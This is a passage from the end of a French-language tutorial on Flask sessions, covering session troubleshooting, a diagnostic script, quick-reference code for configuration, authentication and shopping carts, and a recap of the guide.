# [X] Vérifier IP strictement
# [OK] Ne pas vérifier IP ou utiliser /24 subnet

# 3. Proxy/CDN
# IP peut changer à chaque requête
# [OK] Utiliser X-Forwarded-For avec précaution


# ----------------------------------------------------------------------------
# [OUTIL] OUTILS DE DIAGNOSTIC
# ----------------------------------------------------------------------------

"""
COMMANDES UTILES
"""

# Vérifier Redis
# redis-cli
# KEYS session:*
# GET session:abc123
# TTL session:abc123

# Vérifier cookies (navigateur)
# F12 -> Application/Storage -> Cookies

# Vérifier headers HTTP
# curl -v http://localhost:5000/login

# Tester session avec curl
# curl -c cookies.txt http://localhost:5000/login
# curl -b cookies.txt http://localhost:5000/dashboard


"""
SCRIPT DE DIAGNOSTIC
"""

# diagnose_session.py

def diagnose_session_issues():
    """
    [IDEE] SCRIPT DE DIAGNOSTIC SESSION
    
    Vérifie configuration et identifie problèmes
    """
    
    from app import app
    import sys
    
    print("="*60)
    print("SESSION DIAGNOSTIC REPORT")
    print("="*60)
    
    # 1. SECRET_KEY
    print("\n1. SECRET_KEY")
    secret = app.config.get('SECRET_KEY')
    if not secret:
        print("  [X] SECRET_KEY manquante !")
    elif len(secret) < 32:
        print(f"  [ATTENTION]  SECRET_KEY trop courte ({len(secret)} chars)")
    else:
        print(f"  [OK] SECRET_KEY OK ({len(secret)} chars)")
    
    # 2. Session Type
    print("\n2. SESSION TYPE")
    session_type = app.config.get('SESSION_TYPE', 'default')
    print(f"  Type: {session_type}")
    
    if session_type == 'redis':
        # Test Redis
        try:
            redis_client = app.config['SESSION_REDIS']
            redis_client.ping()
            print("  [OK] Redis connexion OK")
        except Exception as e:
            print(f"  [X] Redis erreur: {e}")
    
    # 3. Cookies Configuration
    print("\n3. COOKIES CONFIGURATION")
    print(f"  HttpOnly: {app.config.get('SESSION_COOKIE_HTTPONLY', True)}")
    print(f"  Secure: {app.config.get('SESSION_COOKIE_SECURE', False)}")
    print(f"  SameSite: {app.config.get('SESSION_COOKIE_SAMESITE', 'Lax')}")
    
    # 4. Expiration
    print("\n4. EXPIRATION")
    lifetime = app.config.get('PERMANENT_SESSION_LIFETIME')
    print(f"  Lifetime: {lifetime}")
    
    print("\n" + "="*60)


# ============================================================================
# [DOCS] GUIDE DE RÉFÉRENCE RAPIDE
# ============================================================================

"""
RÉFÉRENCE RAPIDE - COMMANDES ESSENTIELLES
"""

# ═══════════════════════════════════════════════════════════════════════════
# CONFIGURATION MINIMALE
# ═══════════════════════════════════════════════════════════════════════════

from flask import Flask, session
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_hex(32)

@app.route('/set')
def set_session():
    session['key'] = 'value'
    return "Set"

@app.route('/get')
def get_session():
    return session.get('key', 'Not found')


# ═══════════════════════════════════════════════════════════════════════════
# OPÉRATIONS DE BASE
# ═══════════════════════════════════════════════════════════════════════════

# Définir
session['username'] = 'alice'
session['cart'] = {'items': [], 'total': 0}

# Lire
username = session.get('username')
cart = session.get('cart', {})

# Vérifier existence
if 'username' in session:
    pass

# Supprimer
session.pop('username', None)  # Safe
del session['username']         # Peut lever KeyError

# Tout supprimer
session.clear()

# Forcer sauvegarde
session.modified = True


# ═══════════════════════════════════════════════════════════════════════════
# CONFIGURATION PRODUCTION
# ═══════════════════════════════════════════════════════════════════════════

from datetime import timedelta
import redis

app.config.update(
    SECRET_KEY=os.environ['SECRET_KEY'],
    
    # Redis
    SESSION_TYPE='redis',
    SESSION_REDIS=redis.from_url(os.environ['REDIS_URL']),
    
    # Cookies
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE='Lax',
    
    # Expiration
    PERMANENT_SESSION_LIFETIME=timedelta(hours=24)
)


# ═══════════════════════════════════════════════════════════════════════════
# AUTHENTIFICATION
# ═══════════════════════════════════════════════════════════════════════════

# Login
@app.route('/login', methods=['POST'])
def login():
    user = authenticate(username, password)
    if user:
        session.clear()  # Régénérer
        session['user_id'] = user.id
        session.permanent = True
        return redirect('/dashboard')

# Logout
@app.route('/logout')
def logout():
    session.clear()
    return redirect('/')

# Protection route
def login_required(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        if 'user_id' not in session:
            return redirect('/login')
        return f(*args, **kwargs)
    return wrapper


# ═══════════════════════════════════════════════════════════════════════════
# PANIER D'ACHAT
# ═══════════════════════════════════════════════════════════════════════════

# Ajouter
cart = session.setdefault('cart', {'items': {}, 'total': 0})
cart['items'][product_id] = {'qty': 1, 'price': 19.99}
session.modified = True

# Retirer
cart = session.get('cart', {})
cart['items'].pop(product_id, None)
session['cart'] = cart

# Vider
session['cart'] = {'items': {}, 'total': 0}


# ═══════════════════════════════════════════════════════════════════════════
# RÉCAPITULATIF COMPLET DU GUIDE
# ═══════════════════════════════════════════════════════════════════════════

"""
[COURS] FÉLICITATIONS ! VOUS AVEZ COMPLÉTÉ LE GUIDE COMPLET

PARTIE 1 - FONDAMENTAUX
[OK] Qu'est-ce qu'une session et pourquoi
[OK] Première session Flask
[OK] Opérations CRUD sur sessions
[OK] Cycle de vie
[OK] Types de données supportés

PARTIE 2 - CONFIGURATION ET SÉCURITÉ
[OK] Toutes les options de configuration
[OK] SECRET_KEY sécurisée
[OK] Configuration cookies (HttpOnly, Secure, SameSite)
[OK] Protection Session Fixation/Hijacking/XSS/CSRF
[OK] Sessions côté serveur (Redis, DB, Filesystem)

PARTIE 3 - APPLICATIONS PRATIQUES
[OK] Système d'authentification complet
[OK] Panier d'achat e-commerce
[OK] Gestion état utilisateur
[OK] Flash messages et notifications
[OK] Formulaires multi-étapes (wizards)

PARTIE 4 - PRODUCTION ET AVANCÉ
[OK] Performance et optimisation
[OK] Monitoring et debugging
[OK] Sessions distribuées multi-serveurs
[OK] Déploiement production (Docker, Redis Cluster)
[OK] Best practices complètes
[OK] Troubleshooting


[CLE] POINTS CLÉS À RETENIR

1. SECRET_KEY forte (32+ caractères) OBLIGATOIRE
2. HttpOnly + Secure + SameSite = Sécurité de base
3. Redis = Meilleur choix production
4. Stocker seulement IDs, pas objets complets
5. session.modified = True pour modifications en place
6. Régénérer session après login
7. Vérifier empreinte session (User-Agent)
8. Timeout d'inactivité recommandé
9. Tester avec pytest
10. Monitorer en production


[GUIDE] RESSOURCES SUPPLÉMENTAIRES

Documentation officielle :
- Flask Sessions : https://flask.palletsprojects.com/en/latest/api/#sessions
- Flask-Session : https://flask-session.readthedocs.io/
- Redis : https://redis.io/documentation

Sécurité :
- OWASP Session Management : https://owasp.org/www-community/vulnerabilities/
- Flask Security Best Practices

Patterns :
- Mega-Tutorial Flask : https://blog.miguelgrinberg.com/

Performance :
- Redis Best Practices
- Flask Production Deployment


[RAPIDE] PROCHAINES ÉTAPES

Maintenant que vous maîtrisez les sessions Flask :

1. Pratiquez avec des projets réels
2. Implémentez authentification complète
3. Testez différents backends (Redis, DB)
4. Déployez en production avec Docker
5. Contribuez à des projets open-source Flask


[IDEE] AIDE ET SUPPORT

Si vous rencontrez des problèmes :
1. Consultez le chapitre 18 (Troubleshooting)
2. Vérifiez les logs
3. Utilisez le script de diagnostic
4. Recherchez dans la documentation
5. Posez des questions sur Stack Overflow


═══════════════════════════════════════════════════════════════════════════

                    MERCI D'AVOIR SUIVI CE GUIDE !

     Vous avez maintenant toutes les connaissances nécessaires pour
       créer des applications Flask professionnelles avec sessions
                    sécurisées et performantes.

                        Bon développement ! [PYTHON]

═══════════════════════════════════════════════════════════════════════════
"""